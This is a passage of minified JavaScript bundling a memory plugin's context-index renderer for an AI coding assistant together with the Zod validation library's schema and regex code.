context`),p.push("")),b.length>0){e?p.push(`${fe.dim}Legend: \u{1F3AF} session-request | \u{1F534} bugfix | \u{1F7E3} feature | \u{1F504} refactor | \u2705 change | \u{1F535} discovery | \u2696\uFE0F decision${fe.reset}`):p.push("**Legend:** \u{1F3AF} session-request | \u{1F534} bugfix | \u{1F7E3} feature | \u{1F504} refactor | \u2705 change | \u{1F535} discovery | \u2696\uFE0F decision"),p.push(""),e?(p.push(`${fe.bright}\u{1F4A1} Column Key${fe.reset}`),p.push(`${fe.dim} Read: Tokens to read this observation (cost to learn it now)${fe.reset}`),p.push(`${fe.dim} Work: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)${fe.reset}`)):(p.push("\u{1F4A1} **Column Key**:"),p.push("- **Read**: Tokens to read this observation (cost to learn it now)"),p.push("- **Work**: Tokens spent on work that produced this record (\u{1F50D} research, \u{1F6E0}\uFE0F building, \u2696\uFE0F deciding)")),p.push(""),e?(p.push(`${fe.dim}\u{1F4A1} Context Index: This semantic index (titles, types, files, tokens) is usually sufficient to understand past work.${fe.reset}`),p.push(""),p.push(`${fe.dim}When you need implementation details, rationale, or debugging context:${fe.reset}`),p.push(`${fe.dim} - Use the mem-search skill to fetch full observations on-demand${fe.reset}`),p.push(`${fe.dim} - Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching${fe.reset}`),p.push(`${fe.dim} - Trust this index over re-reading code for past decisions and learnings${fe.reset}`)):(p.push("\u{1F4A1} **Context Index:** This semantic index (titles, types, files, tokens) is usually sufficient to understand past work."),p.push(""),p.push("When you need implementation details, rationale, or debugging context:"),p.push("- Use the mem-search skill to fetch full observations on-demand"),p.push("- Critical types (\u{1F534} bugfix, \u2696\uFE0F decision) often need detailed fetching"),p.push("- Trust this index over re-reading code for past decisions and learnings")),p.push("");let h=l.length,y=l.reduce((te,ce)=>{let le=(ce.title?.length||0)+(ce.subtitle?.length||0)+(ce.narrative?.length||0)+JSON.stringify(ce.facts||[]).length;return te+Math.ceil(le/Jk)},0),v=l.reduce((te,ce)=>te+(ce.discovery_tokens||0),0),_=v-y,S=v>0?Math.round(_/v*100):0,x=r.showReadTokens||r.showWorkTokens||r.showSavingsAmount||r.showSavingsPercent;if(x)if(e){if(p.push(`${fe.bright}${fe.cyan}\u{1F4CA} Context Economics${fe.reset}`),p.push(`${fe.dim} Loading: ${h} observations (${y.toLocaleString()} tokens to read)${fe.reset}`),p.push(`${fe.dim} Work investment: ${v.toLocaleString()} tokens spent on research, building, and decisions${fe.reset}`),v>0&&(r.showSavingsAmount||r.showSavingsPercent)){let te=" Your savings: ";r.showSavingsAmount&&r.showSavingsPercent?te+=`${_.toLocaleString()} tokens (${S}% reduction from reuse)`:r.showSavingsAmount?te+=`${_.toLocaleString()} tokens`:te+=`${S}% reduction from reuse`,p.push(`${fe.green}${te}${fe.reset}`)}p.push("")}else{if(p.push("\u{1F4CA} **Context Economics**:"),p.push(`- Loading: ${h} observations (${y.toLocaleString()} tokens to read)`),p.push(`- Work investment: ${v.toLocaleString()} tokens spent on research, building, and decisions`),v>0&&(r.showSavingsAmount||r.showSavingsPercent)){let te="- Your savings: ";r.showSavingsAmount&&r.showSavingsPercent?te+=`${_.toLocaleString()} tokens (${S}% reduction from reuse)`:r.showSavingsAmount?te+=`${_.toLocaleString()} tokens`:te+=`${S}% reduction from reuse`,p.push(te)}p.push("")}let w=d[0]?.id,T=g.map((te,ce)=>{let le=ce===0?null:d[ce+1];return{...te,displayEpoch:le?le.created_at_epoch:te.created_at_epoch,displayTime:le?le.created_at:te.created_at,shouldShowLink:te.id!==w}}),R=new Set(l.slice(0,r.fullObservationCount).map(te=>te.id)),A=[...b.map(te=>({type:"observation",data:te})),...T.map(te=>({type:"summary",data:te}))];A.sort((te,ce)=>{let le=te.type==="observation"?te.data.created_at_epoch:te.data.displayEpoch,ne=ce.type==="observation"?ce.data.created_at_epoch:ce.data.displayEpoch;return le-ne});let j=new Map;for(let te of A){let ce=te.type==="observation"?te.data.created_at:te.data.displayTime,le=jn(ce);j.has(le)||j.set(le,[]),j.get(le).push(te)}let q=Array.from(j.entries()).sort((te,ce)=>{let le=new Date(te[0]).getTime(),ne=new Date(ce[0]).getTime();return le-ne});for(let[te,ce]of q){e?(p.push(`${fe.bright}${fe.cyan}${te}${fe.reset}`),p.push("")):(p.push(`### ${te}`),p.push(""));let le=null,ne="",H=!1;for(let P of ce)if(P.type==="summary"){H&&(p.push(""),H=!1,le=null,ne="");let L=P.data,C=`${L.request||"Session started"} (${ya(L.displayTime)})`;e?p.push(`\u{1F3AF} ${fe.yellow}#S${L.id}${fe.reset} ${C}`):p.push(`**\u{1F3AF} #S${L.id}** ${C}`),p.push("")}else{let L=P.data,C=Mn(L.files_modified,n);C!==le&&(H&&p.push(""),e?p.push(`${fe.dim}${C}${fe.reset}`):p.push(`**${C}**`),e||(p.push("| ID | Time | T | Title | Read | Work |"),p.push("|----|------|---|-------|------|------|")),le=C,H=!0,ne="");let E=ii(L.created_at),k=L.title||"Untitled",M=so[L.type]||"\u2022",X=(L.title?.length||0)+(L.subtitle?.length||0)+(L.narrative?.length||0)+JSON.stringify(L.facts||[]).length,Y=Math.ceil(X/Jk),de=L.discovery_tokens||0,ie=ku[L.type]||"\u{1F50D}",ve=de>0?`${ie} ${de.toLocaleString()}`:"-",O=E!==ne,I=O?E:"";if(ne=E,R.has(L.id)){let Z=r.fullObservationField==="narrative"?L.narrative:L.facts?zm(L.facts).join(` -`):null;if(e){let K=O?`${fe.dim}${E}${fe.reset}`:" ".repeat(E.length),ue=r.showReadTokens&&Y>0?`${fe.dim}(~${Y}t)${fe.reset}`:"",Ce=r.showWorkTokens&&de>0?`${fe.dim}(${ie} ${de.toLocaleString()}t)${fe.reset}`:"";p.push(` ${fe.dim}#${L.id}${fe.reset} ${K} ${M} ${fe.bright}${k}${fe.reset}`),Z&&p.push(` ${fe.dim}${Z}${fe.reset}`),(ue||Ce)&&p.push(` ${ue} ${Ce}`),p.push("")}else{H&&(p.push(""),H=!1),p.push(`**#${L.id}** ${I||"\u2033"} ${M} **${k}**`),Z&&(p.push(""),p.push(Z),p.push(""));let K=[];r.showReadTokens&&K.push(`Read: ~${Y}`),r.showWorkTokens&&K.push(`Work: ${ve}`),K.length>0&&p.push(K.join(", ")),p.push(""),le=null}}else if(e){let Z=O?`${fe.dim}${E}${fe.reset}`:" ".repeat(E.length),K=r.showReadTokens&&Y>0?`${fe.dim}(~${Y}t)${fe.reset}`:"",ue=r.showWorkTokens&&de>0?`${fe.dim}(${ie} ${de.toLocaleString()}t)${fe.reset}`:"";p.push(` ${fe.dim}#${L.id}${fe.reset} ${Z} ${M} ${k} ${K} ${ue}`)}else{let Z=r.showReadTokens?`~${Y}`:"",K=r.showWorkTokens?ve:"";p.push(`| #${L.id} | ${I||"\u2033"} | ${M} | ${k} | ${Z} | ${K} |`)}}H&&p.push("")}let U=d[0],N=l[0];if(r.showLastSummary&&U&&(U.investigated||U.learned||U.completed||U.next_steps)&&(!N||U.created_at_epoch>N.created_at_epoch)&&(p.push(...Il("Investigated",U.investigated,fe.blue,e)),p.push(...Il("Learned",U.learned,fe.yellow,e)),p.push(...Il("Completed",U.completed,fe.green,e)),p.push(...Il("Next Steps",U.next_steps,fe.magenta,e))),m&&(p.push(""),p.push("---"),p.push(""),e?(p.push(`${fe.bright}${fe.magenta}\u{1F4CB} Previously${fe.reset}`),p.push(""),p.push(`${fe.dim}A: ${m}${fe.reset}`)):(p.push("**\u{1F4CB} Previously**"),p.push(""),p.push(`A: ${m}`)),p.push("")),x&&v>0&&_>0){let te=Math.round(v/1e3);p.push(""),e?p.push(`${fe.dim}\u{1F4B0} Access ${te}k tokens of past research & decisions for just ${y.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.${fe.reset}`):p.push(`\u{1F4B0} Access ${te}k tokens of past research & decisions for just ${y.toLocaleString()}t. Use the mem-search skill to access memories by ID instead of re-reading files.`)}}return s?.close(),p.join(` -`).trimEnd()}var Al,Nl,ui,l7,Jk,p7,fe,Ml=ba(()=>{"use strict";Al=$t(require("path"),1),Nl=require("os"),ui=require("fs");Cu();io();_t();Yr();Um();Xk();l7=Al.default.join((0,Nl.homedir)(),".claude","plugins","marketplaces","thedotmack","plugin",".install-version");Jk=4,p7=1,fe={reset:"\x1B[0m",bright:"\x1B[1m",dim:"\x1B[2m",cyan:"\x1B[36m",green:"\x1B[32m",yellow:"\x1B[33m",blue:"\x1B[34m",magenta:"\x1B[35m",gray:"\x1B[90m",red:"\x1B[31m"}});var g7={};Vl(g7,{WorkerService:()=>Fl});module.exports=$R(g7);var rR=$t(Wp(),1),li=$t(require("path"),1),Ym=$t(require("fs"),1);var $={};Vl($,{BRAND:()=>J2,DIRTY:()=>ln,EMPTY_PATH:()=>P2,INVALID:()=>ke,NEVER:()=>jM,OK:()=>Lt,ParseStatus:()=>Mt,Schema:()=>qe,ZodAny:()=>Ca,ZodArray:()=>la,ZodBigInt:()=>pn,ZodBoolean:()=>fn,ZodBranded:()=>Yi,ZodCatch:()=>En,ZodDate:()=>mn,ZodDefault:()=>Sn,ZodDiscriminatedUnion:()=>Gc,ZodEffects:()=>yr,ZodEnum:()=>xn,ZodError:()=>Yt,ZodFirstPartyTypeKind:()=>$e,ZodFunction:()=>Xc,ZodIntersection:()=>yn,ZodIssueCode:()=>se,ZodLazy:()=>_n,ZodLiteral:()=>bn,ZodMap:()=>Ts,ZodNaN:()=>Rs,ZodNativeEnum:()=>wn,ZodNever:()=>Ir,ZodNull:()=>vn,ZodNullable:()=>Xr,ZodNumber:()=>dn,ZodObject:()=>Qt,ZodOptional:()=>vr,ZodParsedType:()=>ge,ZodPipeline:()=>Qi,ZodPromise:()=>Ia,ZodReadonly:()=>Tn,ZodRecord:()=>Kc,ZodSchema:()=>qe,ZodSet:()=>ks,ZodString:()=>Oa,ZodSymbol:()=>Ss,ZodTransformer:()=>yr,ZodTuple:()=>Kr,ZodType:()=>qe,ZodUndefined:()=>hn,ZodUnion:()=>gn,ZodUnknown:()=>ua,ZodVoid:()=>Es,addIssueToContext:()=>me,any:()=>iM,array:()=>lM,bigint:()=>tM,boolean:()=>bx,coerce:()=>NM,custom:()=>gx,date:()=>rM,datetimeRegex:()=>hx,defaultErrorMap:()=>oa,discriminatedUnion:()=>mM,effect:()=>kM,enum:()=>SM,function:()=>bM,getErrorMap:()=>bs,getParsedType:()=>Gr,instanceof:()=>Q2,intersection:()=>hM,isAborted:()=>Wc,isAsync:()=>xs,isDirty:()=>Zc,isValid:()=>Pa,late:()=>Y2,lazy:()=>xM,literal:()=>wM,makeIssue:()=>Ji,map:()=>yM,nan:()=>eM,nativeEnum:()=>EM,never:()=>cM,null:()=>sM,nullable:()=>$M,number:()=>_x,object:()=>dM,objectUtil:()=>Zp,oboolean:()=>AM,onumber:()=>IM,optional:()=>RM,ostring:()=>CM,pipeline:()=>OM,preprocess:()=>PM,promise:()=>TM,quotelessJson:()=>k2,record:()=>gM,set:()=>_M,setErrorMap:()=>$2,strictObject:()=>pM,string:()=>yx,symbol:()=>aM,transformer:()=>kM,tuple:()=>vM,undefined:()=>nM,union:()=>fM,unknown:()=>oM,util:()=>He,void:()=>uM});var He;(function(t){t.assertEqual=a=>{};function e(a){}t.assertIs=e;function r(a){throw new Error}t.assertNever=r,t.arrayToEnum=a=>{let s={};for(let i of a)s[i]=i;return s},t.getValidEnumValues=a=>{let s=t.objectKeys(a).filter(o=>typeof a[a[o]]!="number"),i={};for(let o of s)i[o]=a[o];return t.objectValues(i)},t.objectValues=a=>t.objectKeys(a).map(function(s){return a[s]}),t.objectKeys=typeof Object.keys=="function"?a=>Object.keys(a):a=>{let s=[];for(let i in a)Object.prototype.hasOwnProperty.call(a,i)&&s.push(i);return s},t.find=(a,s)=>{for(let i of a)if(s(i))return i},t.isInteger=typeof Number.isInteger=="function"?a=>Number.isInteger(a):a=>typeof a=="number"&&Number.isFinite(a)&&Math.floor(a)===a;function n(a,s=" | "){return a.map(i=>typeof i=="string"?`'${i}'`:i).join(s)}t.joinValues=n,t.jsonStringifyReplacer=(a,s)=>typeof s=="bigint"?s.toString():s})(He||(He={}));var Zp;(function(t){t.mergeShapes=(e,r)=>({...e,...r})})(Zp||(Zp={}));var ge=He.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),Gr=t=>{switch(typeof t){case"undefined":return ge.undefined;case"string":return ge.string;case"number":return Number.isNaN(t)?ge.nan:ge.number;case"boolean":return ge.boolean;case"function":return ge.function;case"bigint":return ge.bigint;case"symbol":return ge.symbol;case"object":return Array.isArray(t)?ge.array:t===null?ge.null:t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?ge.promise:typeof Map<"u"&&t instanceof Map?ge.map:typeof Set<"u"&&t instanceof Set?ge.set:typeof Date<"u"&&t instanceof Date?ge.date:ge.object;default:return ge.unknown}};var se=He.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),k2=t=>JSON.stringify(t,null,2).replace(/"([^"]+)":/g,"$1:"),Yt=class t extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=n=>{this.issues=[...this.issues,n]},this.addIssues=(n=[])=>{this.issues=[...this.issues,...n]};let r=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,r):this.__proto__=r,this.name="ZodError",this.issues=e}format(e){let r=e||function(s){return s.message},n={_errors:[]},a=s=>{for(let i of s.issues)if(i.code==="invalid_union")i.unionErrors.map(a);else if(i.code==="invalid_return_type")a(i.returnTypeError);else if(i.code==="invalid_arguments")a(i.argumentsError);else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;cr.message){let r={},n=[];for(let a of this.issues)if(a.path.length>0){let s=a.path[0];r[s]=r[s]||[],r[s].push(e(a))}else n.push(e(a));return{formErrors:n,fieldErrors:r}}get formErrors(){return this.flatten()}};Yt.create=t=>new Yt(t);var R2=(t,e)=>{let r;switch(t.code){case se.invalid_type:t.received===ge.undefined?r="Required":r=`Expected ${t.expected}, received ${t.received}`;break;case se.invalid_literal:r=`Invalid literal value, expected ${JSON.stringify(t.expected,He.jsonStringifyReplacer)}`;break;case se.unrecognized_keys:r=`Unrecognized key(s) in object: ${He.joinValues(t.keys,", ")}`;break;case se.invalid_union:r="Invalid input";break;case se.invalid_union_discriminator:r=`Invalid discriminator value. Expected ${He.joinValues(t.options)}`;break;case se.invalid_enum_value:r=`Invalid enum value. Expected ${He.joinValues(t.options)}, received '${t.received}'`;break;case se.invalid_arguments:r="Invalid function arguments";break;case se.invalid_return_type:r="Invalid function return type";break;case se.invalid_date:r="Invalid date";break;case se.invalid_string:typeof t.validation=="object"?"includes"in t.validation?(r=`Invalid input: must include "${t.validation.includes}"`,typeof t.validation.position=="number"&&(r=`${r} at one or more positions greater than or equal to ${t.validation.position}`)):"startsWith"in t.validation?r=`Invalid input: must start with "${t.validation.startsWith}"`:"endsWith"in t.validation?r=`Invalid input: must end with "${t.validation.endsWith}"`:He.assertNever(t.validation):t.validation!=="regex"?r=`Invalid ${t.validation}`:r="Invalid";break;case se.too_small:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at least":"more than"} ${t.minimum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at least":"over"} ${t.minimum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="bigint"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(t.minimum))}`:r="Invalid input";break;case se.too_big:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at most":"less than"} ${t.maximum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at most":"under"} ${t.maximum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="bigint"?r=`BigInt must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly":t.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(t.maximum))}`:r="Invalid input";break;case se.custom:r="Invalid input";break;case se.invalid_intersection_types:r="Intersection results could not be merged";break;case se.not_multiple_of:r=`Number must be a multiple of ${t.multipleOf}`;break;case se.not_finite:r="Number must be finite";break;default:r=e.defaultError,He.assertNever(t)}return{message:r}},oa=R2;var lx=oa;function $2(t){lx=t}function bs(){return lx}var Ji=t=>{let{data:e,path:r,errorMaps:n,issueData:a}=t,s=[...r,...a.path||[]],i={...a,path:s};if(a.message!==void 0)return{...a,path:s,message:a.message};let o="",c=n.filter(u=>!!u).slice().reverse();for(let u of c)o=u(i,{data:e,defaultError:o}).message;return{...a,path:s,message:o}},P2=[];function me(t,e){let r=bs(),n=Ji({issueData:e,data:t.data,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,r,r===oa?void 0:oa].filter(a=>!!a)});t.common.issues.push(n)}var Mt=class t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,r){let n=[];for(let a of r){if(a.status==="aborted")return ke;a.status==="dirty"&&e.dirty(),n.push(a.value)}return{status:e.value,value:n}}static async mergeObjectAsync(e,r){let n=[];for(let a of r){let s=await a.key,i=await a.value;n.push({key:s,value:i})}return t.mergeObjectSync(e,n)}static mergeObjectSync(e,r){let n={};for(let a of r){let{key:s,value:i}=a;if(s.status==="aborted"||i.status==="aborted")return ke;s.status==="dirty"&&e.dirty(),i.status==="dirty"&&e.dirty(),s.value!=="__proto__"&&(typeof i.value<"u"||a.alwaysSet)&&(n[s.value]=i.value)}return{status:e.value,value:n}}},ke=Object.freeze({status:"aborted"}),ln=t=>({status:"dirty",value:t}),Lt=t=>({status:"valid",value:t}),Wc=t=>t.status==="aborted",Zc=t=>t.status==="dirty",Pa=t=>t.status==="valid",xs=t=>typeof Promise<"u"&&t instanceof Promise;var be;(function(t){t.errToObj=e=>typeof e=="string"?{message:e}:e||{},t.toString=e=>typeof e=="string"?e:e?.message})(be||(be={}));var gr=class{constructor(e,r,n,a){this._cachedPath=[],this.parent=e,this.data=r,this._path=n,this._key=a}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},dx=(t,e)=>{if(Pa(e))return{success:!0,data:e.value};if(!t.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let r=new Yt(t.common.issues);return this._error=r,this._error}}};function Ne(t){if(!t)return{};let{errorMap:e,invalid_type_error:r,required_error:n,description:a}=t;if(e&&(r||n))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:a}:{errorMap:(i,o)=>{let{message:c}=t;return i.code==="invalid_enum_value"?{message:c??o.defaultError}:typeof o.data>"u"?{message:c??n??o.defaultError}:i.code!=="invalid_type"?{message:o.defaultError}:{message:c??r??o.defaultError}},description:a}}var qe=class{get description(){return this._def.description}_getType(e){return Gr(e.data)}_getOrReturnCtx(e,r){return r||{common:e.parent.common,data:e.data,parsedType:Gr(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new Mt,ctx:{common:e.parent.common,data:e.data,parsedType:Gr(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let r=this._parse(e);if(xs(r))throw new Error("Synchronous parse encountered promise.");return r}_parseAsync(e){let r=this._parse(e);return Promise.resolve(r)}parse(e,r){let n=this.safeParse(e,r);if(n.success)return n.data;throw n.error}safeParse(e,r){let n={common:{issues:[],async:r?.async??!1,contextualErrorMap:r?.errorMap},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Gr(e)},a=this._parseSync({data:e,path:n.path,parent:n});return dx(n,a)}"~validate"(e){let r={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Gr(e)};if(!this["~standard"].async)try{let n=this._parseSync({data:e,path:[],parent:r});return Pa(n)?{value:n.value}:{issues:r.common.issues}}catch(n){n?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),r.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:r}).then(n=>Pa(n)?{value:n.value}:{issues:r.common.issues})}async parseAsync(e,r){let n=await this.safeParseAsync(e,r);if(n.success)return n.data;throw n.error}async safeParseAsync(e,r){let n={common:{issues:[],contextualErrorMap:r?.errorMap,async:!0},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Gr(e)},a=this._parse({data:e,path:n.path,parent:n}),s=await(xs(a)?a:Promise.resolve(a));return dx(n,s)}refine(e,r){let n=a=>typeof r=="string"||typeof r>"u"?{message:r}:typeof r=="function"?r(a):r;return this._refinement((a,s)=>{let i=e(a),o=()=>s.addIssue({code:se.custom,...n(a)});return typeof Promise<"u"&&i instanceof Promise?i.then(c=>c?!0:(o(),!1)):i?!0:(o(),!1)})}refinement(e,r){return this._refinement((n,a)=>e(n)?!0:(a.addIssue(typeof r=="function"?r(n,a):r),!1))}_refinement(e){return new yr({schema:this,typeName:$e.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:r=>this["~validate"](r)}}optional(){return vr.create(this,this._def)}nullable(){return Xr.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return la.create(this)}promise(){return Ia.create(this,this._def)}or(e){return gn.create([this,e],this._def)}and(e){return yn.create(this,e,this._def)}transform(e){return new yr({...Ne(this._def),schema:this,typeName:$e.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let r=typeof e=="function"?e:()=>e;return new Sn({...Ne(this._def),innerType:this,defaultValue:r,typeName:$e.ZodDefault})}brand(){return new Yi({typeName:$e.ZodBranded,type:this,...Ne(this._def)})}catch(e){let r=typeof e=="function"?e:()=>e;return new En({...Ne(this._def),innerType:this,catchValue:r,typeName:$e.ZodCatch})}describe(e){let r=this.constructor;return new r({...this._def,description:e})}pipe(e){return Qi.create(this,e)}readonly(){return Tn.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},O2=/^c[^\s-]{8,}$/i,C2=/^[0-9a-z]+$/,I2=/^[0-9A-HJKMNP-TV-Z]{26}$/i,A2=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,N2=/^[a-z0-9_-]{21}$/i,j2=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,M2=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,D2=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,q2="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",Gp,L2=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,F2=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,z2=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,U2=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,H2=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,B2=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,fx="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",V2=new RegExp(`^${fx}$`);function mx(t){let e="[0-5]\\d";t.precision?e=`${e}\\.\\d{${t.precision}}`:t.precision==null&&(e=`${e}(\\.\\d+)?`);let r=t.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${r}`}function W2(t){return new RegExp(`^${mx(t)}$`)}function hx(t){let e=`${fx}T${mx(t)}`,r=[];return r.push(t.local?"Z?":"Z"),t.offset&&r.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${r.join("|")})`,new RegExp(`^${e}$`)}function Z2(t,e){return!!((e==="v4"||!e)&&L2.test(t)||(e==="v6"||!e)&&z2.test(t))}function G2(t,e){if(!j2.test(t))return!1;try{let[r]=t.split(".");if(!r)return!1;let n=r.replace(/-/g,"+").replace(/_/g,"/").padEnd(r.length+(4-r.length%4)%4,"="),a=JSON.parse(atob(n));return!(typeof a!="object"||a===null||"typ"in a&&a?.typ!=="JWT"||!a.alg||e&&a.alg!==e)}catch{return!1}}function K2(t,e){return!!((e==="v4"||!e)&&F2.test(t)||(e==="v6"||!e)&&U2.test(t))}var 